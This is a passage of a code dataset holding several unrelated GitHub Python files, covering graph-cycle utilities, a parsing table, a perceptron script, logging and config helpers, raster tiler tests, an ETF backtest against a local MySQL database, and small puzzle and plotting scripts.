nodes is 2 because the two\n # edge_indices refer to the same pair of nodes\n if len(self.nodes) == 2:\n self.nodes = tuple(sorted(self.nodes))\n self.edge_indices = tuple(sorted(self.edge_indices))\n self.ordered = True\n return\n\n reverse = self.nodes[(min_index - 1) % len(self.nodes)] < self.nodes[(min_index + 1) % len(self.nodes)]\n if reverse:\n self.nodes = self.nodes[min_index::-1] + self.nodes[:min_index:-1]\n min_edge_index = (min_index - 1) % len(self.nodes)\n self.edge_indices = self.edge_indices[min_edge_index::-1] + self.edge_indices[:min_edge_index:-1]\n else:\n self.nodes = self.nodes[min_index:] + self.nodes[:min_index]\n self.edge_indices = self.edge_indices[min_index:] + self.edge_indices[:min_index]\n self.ordered = True\n\n def __hash__(self) -> int:\n return len(self.nodes)\n\n def __len__(self):\n return len(self.nodes)\n\n def __str__(self):\n out = [\"Multigraph cycle with nodes :\"]\n cycle = []\n for inode, node1, node2 in zip(itertools.count(), self.nodes[:-1], self.nodes[1:]):\n cycle.append(f\"{node1} -*{self.edge_indices[inode]}*- {node2}\")\n cycle.append(f\"{self.nodes[-1]} -*{self.edge_indices[-1]}*- {self.nodes[0]}\")\n # out.extend([str(node) for node in self.nodes])\n out.extend(cycle)\n return \"\\n\".join(out)\n\n def __eq__(self, other: object) -> bool:\n if not isinstance(other, MultiGraphCycle):\n return NotImplemented\n if not self.ordered or not other.ordered:\n raise RuntimeError(\"Multigraph cycles should be ordered in order to be compared.\")\n return self.nodes == other.nodes and self.edge_indices == other.edge_indices\n\n\ndef get_all_elementary_cycles(graph):\n \"\"\"\n :param graph:\n \"\"\"\n if not isinstance(graph, nx.Graph):\n raise TypeError(\"graph should be a networkx Graph object.\")\n\n cycle_basis = nx.cycle_basis(graph)\n\n if len(cycle_basis) < 2:\n return {SimpleGraphCycle(c) for c in cycle_basis}\n\n all_edges_dict = {}\n index2edge = []\n edge_idx = 0\n for n1, n2 in graph.edges:\n all_edges_dict[(n1, n2)] = edge_idx\n all_edges_dict[(n2, n1)] = edge_idx\n index2edge.append((n1, n2))\n edge_idx += 1\n cycles_matrix = np.zeros(shape=(len(cycle_basis), edge_idx), dtype=bool)\n for icycle, cycle in enumerate(cycle_basis):\n for in1, n1 in enumerate(cycle):\n n2 = cycle[(in1 + 1) % len(cycle)]\n iedge = all_edges_dict[(n1, n2)]\n cycles_matrix[icycle, iedge] = True\n\n elementary_cycles_list = []\n\n for cycle_idx in range(1, len(cycle_basis) + 1):\n for cycles_combination in itertools.combinations(cycles_matrix, cycle_idx):\n edges_counts = np.array(np.mod(np.sum(cycles_combination, axis=0), 2), dtype=bool)\n edges = [edge for iedge, edge in enumerate(index2edge) if edges_counts[iedge]]\n try:\n sgc = SimpleGraphCycle.from_edges(edges, edges_are_ordered=False)\n except ValueError as ve:\n msg = ve.args[0]\n if msg == \"SimpleGraphCycle is not valid : Duplicate nodes.\":\n continue\n if msg == \"Could not construct a cycle from edges.\":\n continue\n raise\n elementary_cycles_list.append(sgc)\n\n return elementary_cycles_list\n","repo_name":"materialsproject/pymatgen","sub_path":"pymatgen/analysis/chemenv/utils/graph_utils.py","file_name":"graph_utils.py","file_ext":"py","file_size_in_byte":19652,"program_lang":"python","lang":"en","doc_type":"code","stars":1185,"dataset":"github-code","pt":"38"} +{"seq_id":"628619013","text":"import json\n\n\nclass ParsingTable:\n def __init__(self, json_path: str=\"compiler/tools/parser/grammar_table.json\"):\n \"\"\"\n Constructor for the ParsingTable object.\n\n :param json_path:\n \"\"\"\n self.parse_table_inputs: list = []\n self.parse_table: dict = {}\n\n with open(json_path) as json_data:\n self.json_data = json.load(json_data)\n json_data.close()\n\n def build_table(self) -> None:\n \"\"\"\n Convert json output from http://hackingoff.com/compilers/ll-1-parser-generator into a usable table using python\n data structures.\n\n :return: None\n \"\"\"\n self.parse_table_inputs = self.json_data.pop(0) # Store header row\n self.parse_table_inputs.pop(0) # Pop leading buffer 0\n\n for row in self.json_data:\n key: str = row.pop(0) # Pop string identifier (buffer)\n self.parse_table[key] = row # Store remaining list under key\n\n def get_rule(self, current: str, parse_input: str) -> int:\n \"\"\"\n Get rule of current row given a specific input\n\n :param current: string identifier of current row\n :param parse_input: string identifier of the input to search for rule\n :return: int (rule)\n \"\"\"\n index: int = self.parse_table_inputs.index(parse_input)\n\n return self.parse_table[current][index]\n","repo_name":"Shmeve/compiler-project","sub_path":"compiler/parser/parsing_table.py","file_name":"parsing_table.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"32751167938","text":"from utils.all_utils import save_model, save_plot\nfrom utils.models import Perceptron\nfrom utils.all_utils import prepare_data, save_model, save_plot\nimport pandas as pd\nimport numpy as np\nimport logging\nimport os\n\nlogging_str = \"[%(asctime)s: %(levelname)s: %(module)s: %(lineno)s] %(message)s\"\nlog_dir = \"logs\"\nos.makedirs(log_dir, exist_ok=True)\nlogging.basicConfig(filename = os.path.join(log_dir,\"running_logs.log\"), level=logging.INFO, format=logging_str)\n\n\n\n\n\ndef main(data, modeLName, plotName, eta, epochs):\n\n df = pd.DataFrame(AND)\n\n logging.info(f\"This is the actual df{df}\")\n\n\n X,y = prepare_data(df)\n\n ETA = 0.3 # 0 and 1\n EPOCHS = 10\n\n model = Perceptron(eta=ETA, epochs=EPOCHS)\n model.fit(X, y)\n\n _ = model.total_loss()\n\n save_model(model, filename='and.model')\n save_plot(df, 'and.png', model)\n\nif __name__ == '__main__':\n AND = { \n \"x1\": [0,0,1,1],\n \"x2\": [0,1,0,1],\n \"y\": [0,0,0,1],\n }\n ETA = 0.3\n EPOCHS = 10\n try:\n logging.info(\">>> start the module >>>\")\n main(data=AND, modeLName=\"and.model\", plotName=\"and.png\", eta=ETA, epochs=EPOCHS)\n except Exception as e:\n logging.exception(e)\n raise e\n","repo_name":"Kalaiselvan-S/OneNeuron","sub_path":"and.py","file_name":"and.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16662170177","text":"#====================\r\n# utility.py\r\n#====================\r\n\r\nimport os\r\nimport datetime\r\nimport xml.etree.ElementTree as xmlparser\r\nimport config.defines as const\r\nfrom distutils.util import strtobool\r\n\r\nclass SystemConfigApi():\r\n #--------------------\r\n # private\r\n #--------------------\r\n m_init = False\r\n m_configpath = os.path.dirname(__file__) + '\\..\\config\\config.xml'\r\n m_xmlroot = None\r\n def __init(self):\r\n self.xmlroot = xmlparser.parse(self.m_configpath)\r\n self.m_xmlroot = self.xmlroot.getroot()\r\n self.m_init = True\r\n #--------------------\r\n # public\r\n #--------------------\r\n def getLogMaxFileCycle(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('log/maxfilecycle').text\r\n def getLogMaxFileSize(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('log/maxfilesize').text\r\n def getLogLevel(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('log/level').text\r\n def getDBDriver(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('db/driver').text\r\n def getDBServer(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('db/server').text\r\n def getDBName(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('db/dbname').text\r\n def getDBUid(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('db/uid').text\r\n def getDBMemcacheEnable(self):\r\n if not self.m_init:\r\n self.__init()\r\n return strtobool(self.m_xmlroot.find('db/memcache/enable').text)\r\n def getDBMemcacheServer(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('db/memcache/server').text\r\n def getDBPwd(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('db/pwd').text\r\n def getAnalysisType(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('analysis/type').text\r\n def getAnalysisModel(self):\r\n if not self.m_init:\r\n self.__init()\r\n return self.m_xmlroot.find('analysis/model').text\r\n def save(self):\r\n self.xmlroot.write(self.m_configpath)\r\n self.m_init = False\r\n\r\nclass LogApi():\r\n #--------------------\r\n # private\r\n #--------------------\r\n m_init = False\r\n m_outputpath = ''\r\n m_maxfilecycle = 0\r\n m_maxfilesize = 0\r\n m_level = 0\r\n def __init(self):\r\n outputdir = os.path.dirname(__file__) + '\\..\\log'\r\n outputpath = os.path.dirname(__file__) + '\\..\\log\\log.000'\r\n if not os.path.exists(outputdir):\r\n os.mkdir(outputdir)\r\n self.m_outputpath = outputpath\r\n config = SystemConfigApi()\r\n self.m_maxfilecycle = int(config.getLogMaxFileCycle())\r\n self.m_maxfilesize = int(config.getLogMaxFileSize())\r\n level = config.getLogLevel()\r\n if level == 'ERR':\r\n self.m_level = const.LOG_LEVEL_ERR\r\n elif level == 'WAR':\r\n self.m_level = const.LOG_LEVEL_WAR\r\n elif level == 'INF':\r\n self.m_level = const.LOG_LEVEL_INF\r\n elif level == 'DBG':\r\n self.m_level = const.LOG_LEVEL_DBG\r\n else:\r\n self.m_level = const.LOG_LEVEL_OTH\r\n self.m_init = True\r\n def __renameRecurse(self, in_cycle):\r\n if in_cycle == 0:\r\n return 0\r\n else:\r\n cycle = in_cycle - 1\r\n if in_cycle == self.m_maxfilecycle:\r\n outputpath = os.path.dirname(__file__) + '\\..\\log\\log.' + format(cycle, '03d')\r\n if os.path.exists(outputpath):\r\n # 最大世代は単純削除\r\n os.remove(outputpath)\r\n else:\r\n oldpath = os.path.dirname(__file__) + '\\..\\log\\log.' + format(cycle, '03d')\r\n newpath = os.path.dirname(__file__) + '\\..\\log\\log.' + format(in_cycle, '03d')\r\n if os.path.exists(oldpath):\r\n # 中間世代はリネーム\r\n os.rename(oldpath, newpath)\r\n self.__renameRecurse(cycle)\r\n def __log(self, in_type, in_level, in_message):\r\n if in_level < self.m_level:\r\n return\r\n if os.path.exists(self.m_outputpath):\r\n if os.path.getsize(self.m_outputpath) > self.m_maxfilesize:\r\n self.__renameRecurse(self.m_maxfilecycle)\r\n date = '[' + datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + '] '\r\n message = date + '<' + in_type + '> ' + in_message\r\n file = open(self.m_outputpath, 'a')\r\n file.write(message + '\\n')\r\n file.close()\r\n #--------------------\r\n # public\r\n #--------------------\r\n def log(self, in_message):\r\n if not self.m_init:\r\n self.__init()\r\n self.__log('INF', const.LOG_LEVEL_INF, in_message)\r\n def warning(self, in_message):\r\n if not self.m_init:\r\n self.__init()\r\n self.__log('WAR', const.LOG_LEVEL_WAR, in_message)\r\n def debug(self, in_message):\r\n if not self.m_init:\r\n self.__init()\r\n self.__log('DBG', const.LOG_LEVEL_DBG, in_message)\r\n def error(self, in_message):\r\n if not self.m_init:\r\n self.__init()\r\n self.__log('ERR', const.LOG_LEVEL_ERR, in_message)\r\n","repo_name":"kisopon2000/ad","sub_path":"environment/web/cgi-bin/lib/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":5555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21790310857","text":"import asyncio\r\nfrom typing import Iterable\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom stqdm import stqdm\r\n\r\nfrom src.utils import get_page_json\r\n\r\n\r\nclass ConfrontosOrMandosUpdater:\r\n def __init__(self, table_name: str):\r\n self.table_name = table_name\r\n self.df = pd.read_csv(f'data/csv/{self.table_name}.csv', index_col=0).set_index(\r\n 'clube_id'\r\n )\r\n\r\n def _update_clube(\r\n self,\r\n clube: int,\r\n rodada_atual: int,\r\n partidas_rodada: pd.DataFrame,\r\n ):\r\n if clube in partidas_rodada['clube_casa_id'].values:\r\n idx = int(np.where(partidas_rodada['clube_casa_id'] == clube)[0])\r\n\r\n if partidas_rodada.at[idx, 'valida']:\r\n if self.table_name == 'mandos':\r\n self.df.loc[clube, str(rodada_atual)] = 1\r\n else:\r\n self.df.loc[clube, str(rodada_atual)] = partidas_rodada.at[\r\n idx, 'clube_visitante_id'\r\n ]\r\n else:\r\n idx = int(np.where(partidas_rodada['clube_visitante_id'] == clube)[0])\r\n\r\n if partidas_rodada.at[idx, 'valida']:\r\n if self.table_name == 'mandos':\r\n self.df.loc[clube, str(rodada_atual)] = 0\r\n else:\r\n self.df.loc[clube, str(rodada_atual)] = partidas_rodada.at[\r\n idx, 'clube_casa_id'\r\n ]\r\n\r\n async def _update_table_one_round(self, rodada: int):\r\n json = await get_page_json(\r\n f'https://api.cartolafc.globo.com/partidas/{rodada}'\r\n )\r\n partidas_rodada = pd.DataFrame(json['partidas'])\r\n\r\n await asyncio.gather(\r\n *[\r\n asyncio.to_thread(self._update_clube, clube, rodada, partidas_rodada)\r\n for clube in self.df.index\r\n ]\r\n )\r\n\r\n async def update_table(self, rodadas: int | Iterable[int]):\r\n if isinstance(rodadas, int):\r\n rodadas = [rodadas]\r\n\r\n await asyncio.gather(\r\n *[\r\n self._update_table_one_round(rodada)\r\n async for rodada in stqdm(\r\n rodadas,\r\n desc=f'Atualizando {self.table_name} para as rodadas {rodadas}',\r\n total=len(list(rodadas)),\r\n backend=True,\r\n )\r\n ]\r\n )\r\n\r\n self.df.reset_index().to_csv(f'data/csv/{self.table_name}.csv')\r\n","repo_name":"tuliosouza99/CartolaPy","sub_path":"src/confrontos_or_mandos_updater.py","file_name":"confrontos_or_mandos_updater.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25155460664","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Tests for `hex_raster_processor` package.\"\"\"\nimport os\nimport pytest\nimport shutil\nimport subprocess\n\nfrom hex_raster_processor.tiler import Tiler\nfrom hex_raster_processor.exceptions import TMSError\n\nfrom .test_base import download_images\n\n\n@pytest.fixture\ndef get_default_data():\n \"\"\"Returns default data for Tiler tests.\n\n Returns:\n dict: object with bands, product, url and output_dir.\n \"\"\"\n return {\n \"bands\": [],\n \"product\": \"LC08_L1TP_221071_20170521_20170526_01_T1\",\n \"url\": \"https://storage.googleapis.com/\" +\n \"gcp-public-data-landsat/LC08/01/221/071\",\n \"output_dir\": \"test_media/\",\n }\n\n\n@pytest.fixture\ndef create_data(get_default_data):\n \"\"\"Fixture data (SetUp).\n\n Returns:\n dict: object with zoom, tifffile, output_path and output_path_check.\n \"\"\"\n output_dir = get_default_data.get(\"output_dir\")\n product = get_default_data.get(\"product\")\n\n download_images(bands=[4])\n\n tiffile = os.path.join(output_dir, product + \"_B4.TIF\")\n output_path = os.path.join(output_dir, 'tms')\n output_path_check = os.path.join(output_path, product + \"_B4.tms\")\n\n return {\n \"zoom\": 7,\n \"tiffile\": tiffile,\n \"output_path\": output_path,\n \"output_path_check\": output_path_check\n }\n\n\ndef test_os_environ_gdal_tiler():\n \"\"\" Test if tilers-tools is present on system environmets. \"\"\"\n assert 'tilers-tools' in os.environ[\"PATH\"]\n\n\ndef test_call_gdal_tiler(create_data):\n \"\"\" Tests if gdal_tiler.py is valid and test data creation using it. \"\"\"\n\n zoom = 7\n cmd = 'gdal_tiler.py -p tms --src-nodata 0 --zoom={} -t {} {}'.format(\n zoom, create_data['output_path'], create_data['tiffile'])\n subprocess.call(cmd, shell=True)\n\n assert os.path.exists(create_data['output_path'])\n assert os.path.exists(create_data['output_path_check'])\n\n output_path = os.path.join(create_data['output_path_check'], '7')\n assert os.path.exists(output_path)\n\n output_path = os.path.join(create_data['output_path_check'], '8')\n assert not os.path.exists(output_path)\n\n cmd = 'gdal_tiler.py -p tms --src-nodata 0 --zoom=7:8 -t {} {}'.format(\n create_data['output_path'], create_data['tiffile']),\n subprocess.call(cmd, shell=True)\n\n output_path = os.path.join(create_data['output_path_check'], '8')\n assert os.path.exists(output_path)\n shutil.rmtree(create_data['output_path_check'])\n\n\ndef test_tiler_make_tiles(create_data):\n \"\"\" Tests if Tiler.make_tiles creates a pyramid data. \"\"\"\n\n data = Tiler.make_tiles(\n image_path=create_data['tiffile'],\n base_link=create_data['output_path'],\n output_folder=create_data['output_path'],\n zoom=[7, 8],\n quiet=False,\n nodata=[0]\n )\n\n assert os.path.isfile(create_data['tiffile'])\n assert len(data) == 2\n assert data[0] == create_data['output_path_check']\n assert os.path.exists(data[0])\n assert os.path.isfile(data[1])\n\n zoom_7 = os.path.join(data[0], '7')\n zoom_8 = os.path.join(data[0], '8')\n zoom_9 = os.path.join(data[0], '9')\n\n assert os.path.exists(zoom_7)\n assert os.path.exists(zoom_8)\n assert not os.path.exists(zoom_9)\n\n\ndef test_tiler_make_tiles_with_gdal_contrast(create_data):\n \"\"\" Tests if Tiler.make_tiles creates a pyramid data. \"\"\"\n data = Tiler.make_tiles(\n image_path=create_data['tiffile'],\n base_link=create_data['output_path'],\n output_folder=create_data['output_path'],\n zoom=[7, 8],\n contrast=True,\n quiet=False,\n nodata=[0]\n )\n\n assert os.path.isfile(create_data['tiffile'])\n assert len(data) == 2\n assert data[0] == create_data['output_path_check']\n assert os.path.exists(data[0])\n assert os.path.isfile(data[1])\n\n zoom_7 = os.path.join(data[0], '7')\n zoom_8 = os.path.join(data[0], '8')\n zoom_9 = os.path.join(data[0], '9')\n\n assert os.path.exists(zoom_7)\n assert os.path.exists(zoom_8)\n assert not os.path.exists(zoom_9)\n\n\ndef test_tiler_make_tiles_exception(create_data):\n \"\"\" When nodata is different of datasource bands count. \"\"\"\n with pytest.raises(TMSError):\n Tiler.make_tiles(\n image_path=create_data['tiffile'],\n base_link=create_data['output_path'],\n output_folder=create_data['output_path'],\n zoom=[7, 8],\n quiet=False,\n nodata=[0, 0],\n )\n\n \"\"\" When image path is a invalid datasource. \"\"\"\n with pytest.raises(Exception):\n Tiler.make_tiles(\n image_path=None,\n base_link=create_data['output_path'],\n output_folder=create_data['output_path'],\n zoom=[7, 8],\n quiet=False,\n nodata=[0, 0],\n )\n\n \"\"\" When Linkbase is None. \"\"\"\n with pytest.raises(Exception):\n Tiler.make_tiles(\n image_path=create_data['tiffile'],\n base_link=None,\n output_folder=create_data['output_path'],\n zoom=[7, 8],\n quiet=False,\n nodata=[0],\n )\n\n \"\"\" When exists only image_path. \"\"\"\n with pytest.raises(Exception):\n Tiler.make_tiles(\n image_path=create_data['tiffile'],\n )\n\n\ndef test_tiler_make_tiles_with_move(create_data):\n \"\"\" Tests if Tiler.make_tiles creates a pyramid data. \"\"\"\n output_folder = os.path.join(create_data['output_path'], 'tiles')\n tms_path, xml_path = Tiler.make_tiles(\n image_path=create_data['tiffile'],\n base_link=create_data['output_path'],\n output_folder=output_folder,\n move=True,\n zoom=[7, 10],\n quiet=False,\n nodata=[0]\n )\n\n assert os.path.isfile(create_data['tiffile'])\n assert os.path.exists(tms_path)\n assert os.path.isfile(xml_path)\n\n zoom_7 = os.path.join(tms_path, '7')\n zoom_8 = os.path.join(tms_path, '8')\n zoom_9 = os.path.join(tms_path, '9')\n zoom_10 = os.path.join(tms_path, '10')\n zoom_11 = os.path.join(tms_path, '11')\n\n assert os.path.exists(zoom_7)\n assert os.path.exists(zoom_8)\n assert os.path.exists(zoom_9)\n assert os.path.exists(zoom_10)\n assert not os.path.exists(zoom_11)\n\n\ndef test_tiler_make_tiles_with_move_stress(create_data):\n \"\"\" Tests if Tiler.make_tiles creates a pyramid data. \"\"\"\n output_folder = os.path.join(create_data['output_path'], 'tiles')\n\n for i in range(5):\n tms_path, xml_path = Tiler.make_tiles(\n image_path=create_data['tiffile'],\n base_link=create_data['output_path'],\n output_folder=output_folder,\n move=True,\n zoom=[6, 7],\n quiet=False,\n nodata=[0]\n )\n assert os.path.isfile(create_data['tiffile'])\n assert os.path.exists(tms_path)\n assert os.path.isfile(xml_path)\n\n zoom_6 = os.path.join(tms_path, '6')\n zoom_7 = os.path.join(tms_path, '7')\n zoom_8 = os.path.join(tms_path, '8')\n\n assert os.path.exists(zoom_6)\n assert os.path.exists(zoom_7)\n assert not os.path.exists(zoom_8)\n","repo_name":"hexgis/hex_raster_processor","sub_path":"tests/test_tiler.py","file_name":"test_tiler.py","file_ext":"py","file_size_in_byte":7135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"115138369","text":"import sys\nimport pandas as pd\nimport numpy as np\nimport pymysql\nimport math\nimport statistics\nimport time\nimport datetime\nfrom itertools import combinations, permutations\nfrom scipy.special import comb, perm\n# starttime = datetime.datetime.now()\n\nyears = [\"1990\",\"1991\",\"1992\",\"1993\",\"1994\",\"1995\",\"1996\",\"1997\",\"1998\",\"1999\",\n \"2000\",\"2001\",\"2002\",\"2003\",\"2004\",\"2005\",\"2006\",\"2007\",\"2008\",\"2009\",\n \"2010\",\"2011\",\"2012\",\"2013\",\"2014\",\"2015\",\"2016\",\"2017\",\"2018\",\"2019\",\"2020\"]\nmonth = [\"00\",\"01\",\"02\",\"03\",\"04\",\"05\",\"06\",\"07\",\"08\",\"09\",\"10\",\"11\",\"12\"]\nday = [\"00\",\"01\",\"02\",\"03\",\"04\",\"05\",\"06\",\"07\",\"08\",\"09\",\"10\",\n \"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\n \"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\"30\",\"31\"]\nday_of_month = [ 31,28,31, 30,31,30, 31,31,30, 31,30,31]\nv1 = ['VTI','VOO','VXUS','SPY','BND','IVV','BNDX','VEA','VO',\n 'VUG','VB','VWO','VTV','QQQ','BSV','BIV','VTIP','VOE','IEF',\n 'SHY','TLT','IVE','VT','GOVT']\n\n\ndb = pymysql.connect(\"localhost\", \"root\", \"esfortest\", \"etf\")\ncursor = db.cursor()\n\n\nchoose1 = sys.argv[1]\nweight1 = sys.argv[2]\n# want_m = int(sys.argv[3])\ninput_per_month = float(sys.argv[3])/12\n# print(weight1)\n# find_exp_r=0.05\n# input_per_month = 10000\n\n# sql='SELECT * FROM `選股結果` WHERE expect_reward='\n# sql+=str(find_exp_r)\n\n# cursor.execute(sql)\n# result_select1 = cursor.fetchall()\n# db.commit()\n# # print(result_select1)\n# df = pd.DataFrame(list(result_select1))\n\ntoday = datetime.date.today()\nyesterday = today - datetime.timedelta(days=10)\n\n# while(True):\n# min_risk=min(df[4])\n# min_risk_index=list(df[4]).index(min_risk)\n# print(min_risk_index)\n# print(result_select1[min_risk_index])\n\n\nchoose = choose1.split(',')\n# choose = result_select1[min_risk_index][1].split(' ')\n# choose = ['VOO','VOE','VT','VEA']\n\nweight = weight1.split(',')\n# weight = result_select1[min_risk_index][2].split(' ')\n# weight = ['0.31','0.23','0.23','0.23']\nfor i in range(len(weight)):\n weight[i] = float(weight[i])\n\n\n\ntarget = [3+1,6+1,12+1,24+1,36+1]\n\n\nm=37\nrewards = np.zeros(m)#放每月的報酬率\nin_money_arr=[]#投入總金額\nfor i in range(m):\n in_money_arr.append(i*input_per_month)\n# d_now=yesterday\nd_now = datetime.date(int(str(today)[:4]),int(str(today)[5:7]),3)\nfor b in range(m):\n if b==0:\n d_now=yesterday\n else:\n d_now = d_pre\n\n if d_now.month-2<0:\n d_now_premonth=11\n else:\n d_now_premonth = d_now.month-2\n # d_now_premonth=d_now.month\n dminus= day_of_month[d_now_premonth]-1\n d_pre = d_now - datetime.timedelta(days=dminus)\n w = d_now.weekday()\n if w==6:\n d_now = d_now - datetime.timedelta(days=2)\n elif w==5:\n d_now = d_now - datetime.timedelta(days=1)\n w = d_pre.weekday()\n if w==6:\n d_pre = d_pre - datetime.timedelta(days=2)\n elif w==5:\n d_pre = d_pre - datetime.timedelta(days=1)\n for c in range(len(choose)):\n sql = \"select close from etf_close where (name = '\"+choose[c]+\"' and date = '\"+str(d_now) + \"')\"\n # print(sql)\n cursor.execute(sql)\n result_select3 = cursor.fetchall()\n db.commit()\n sql = \"select close from etf_close where (name = '\"+choose[c]+\"' and date = '\"+str(d_pre) + \"')\"\n # print(sql)\n cursor.execute(sql)\n result_select4 = cursor.fetchall()\n db.commit()\n if len(result_select3) >0:\n reward_now = result_select3[0][0]\n # else:\n # print(choose[c]+str(d_now)+'no result')\n if len(result_select4) >0:\n reward_pre = result_select4[0][0]\n # else:\n # print(choose[c]+str(d_pre)+'no result')\n rewarddd = (reward_now-reward_pre)/reward_pre\n rewards[b] += rewarddd * weight[c]\n#把報酬率陣列反過來排 共36個月\nresult = []\n# rewards2 = []\nfor x in range(len(rewards)):\n result.append(rewards[len(rewards)-1-x])\n # rewards2.append(rewards[len(rewards)-1-x])\n# print(result)\n# reward_arr = result[len(result)-6:]\n# print(len(reward_arr))\n# print(reward_arr)\ncount = 0 \nevery_reward = [] \nfinal_ans=[] \nfinal_inmoney=[]\nfor m in target:\n\n reward_arr = result[len(result)-(m-1):]\n # print(len(reward_arr))\n \n \n ans = np.zeros(m)\n\n for i in range(1,m):\n ans[i] = ans[i-1] * (reward_arr[i-1]+1) +input_per_month\n # print(ans)\n final_r = (ans[m-1]-(input_per_month*(m-1)))/(input_per_month*(m-1))\n # print(ans[m-1],input_per_month*m)\n final_r = format(final_r*100 , '0.3f')\n # every_reward[count] = str(final_r)\n # count+=1\n every_reward.append(final_r+'%')\n final_ans.append(format(ans[m-1] , '0.2f'))\n # final_ans.append(str(round(ans[m-1])))\n final_inmoney.append(str(input_per_month*(m-1)))\n # db.close()\n \n\n \nresult1 = ' '.join(every_reward)\nresult2 = ' '.join(final_ans)\nresult3 = ' '.join(final_inmoney)\nprint(result1)\nprint(result2)\nprint(result3)\n# print(every_reward)\n# print(choose)\n\n\n","repo_name":"alia0801/Asset-allocation-v1","sub_path":"historical_analysis.py","file_name":"historical_analysis.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24983620618","text":"import re\n\nclass Disc(object):\n \"\"\"\n Disc iterator -- Lets us loop through valid\n pass through values. That is, times when the disc\n position is 0.\n \"\"\"\n def __init__(self, positions, position, time, order):\n self.positions = positions\n self.position = position\n self.time = time\n self.curr_time = 0\n self.order = order\n\n def __iter__(self):\n self.curr_time = self.time\n return self\n\n def __next__(self):\n # Return times when (position + time) % positions = 0\n if self.position + self.curr_time < self.positions:\n self.curr_time = self.positions - self.position\n else:\n self.curr_time = self.curr_time + self.positions\n return self.curr_time - self.order\n\n def is_a_drop_time(self, time):\n return (time + self.time + self.order + self.position) % self.positions == 0\n\ndef parse_disc(line):\n integers = re.findall('\\d+', line)\n order, positions, time, position = map(int, integers)\n return Disc(positions, position, time, order)\n\ndef time_works_for_discs(test_time, discs):\n for disc in discs:\n if disc.is_a_drop_time(test_time) == False:\n return False\n return True\n\ndef get_min_drop_time(discs):\n first_disc = discs[0]\n other_discs = discs[1:]\n\n for time in first_disc:\n if time_works_for_discs(time, other_discs):\n return time\n\nif __name__ == '__main__':\n discs = []\n\n # Read in all of the discs\n with open('test_input.txt') as file:\n for line in file:\n discs.append(parse_disc(line))\n\n # Calculate first time all we can insert at such that the object\n # will fall through all of the discs\n min_drop_time = get_min_drop_time(discs)\n print('Minimum drop time is: {}'.format(min_drop_time))\n","repo_name":"stdgy/AdventOfCode","sub_path":"2016/days/15/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18193840038","text":"num_of_seq=int(input())\r\nnumber = list(map(int,input().split()))\r\nplus,minus,mul,spli=map(int,input().split())\r\n# oper=['+','-','*','//']\r\noper=[]\r\n\r\nfor i in range(plus):\r\n oper.append('+')\r\nfor i in range(minus):\r\n oper.append('-')\r\nfor i in range(mul):\r\n oper.append('*')\r\nfor i in range(spli):\r\n oper.append('//')\r\nprint(oper)\r\n\r\nrealoper=[]\r\nrealoperi=[]\r\n\r\ndef dsf():\r\n if len(realoperi)==num_of_seq-1:\r\n # print(' '.join(map(str,realoperi)))\r\n for i in range(num_of_seq-1):\r\n number.insert(0,eval(str(number.pop(0))+oper[realoperi[i]]+str(number.pop(0))))\r\n return number[0]\r\n \r\n for i in range(0,num_of_seq-1):\r\n if i not in realoperi:\r\n realoperi.append(i)\r\n dsf()\r\n realoperi.pop()\r\n\r\n\r\ndsf()\r\n # def maxmin():\r\n # number.insert(0, str(number.pop(0)) + realoper.pop(0))\r\n \r\n# =============================================================================\r\n# \r\n# def dfs():\r\n# n=num_of_seq.pop(0)\r\n# oper.append(n)\r\n# oper.append\r\n# \r\n# =============================================================================\r\n \r\n\r\n#number.insert(0,eval(str(number.pop(0))+oper[0]+str(number.pop(0))))\r\n\r\n# print(number)\r\n\r\n# =============================================================================\r\n# print(number)\r\n# \r\n# print(number.pop(0))\r\n# print(number.pop(0))\r\n# \r\n# print(oper[0])\r\n# ===================================================================","repo_name":"HyeuongKyun/algorithmtest","sub_path":"14888.py","file_name":"14888.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3677954503","text":"import collections\nimport matplotlib.pyplot as plt\n\nnum_friends = [100,40,30,30,30,30,30,30,30,30,54,54,54,54,54,54,54,54,25,3,100,100,100,3,3]\n\nfriend_counts = collections.Counter(num_friends)\nprint('friends:', friend_counts)\n\n# 가시화 추가\n\nxs = range(101)\nys = [friend_counts[x] for x in xs] # friend_counts는 dictionary로 구성되어 있음\n\nplt.bar(xs, ys) # plt 막대 그래프 그리기\nplt.axis([0, 101, 0, 25])\nplt.xlabel(\"# for 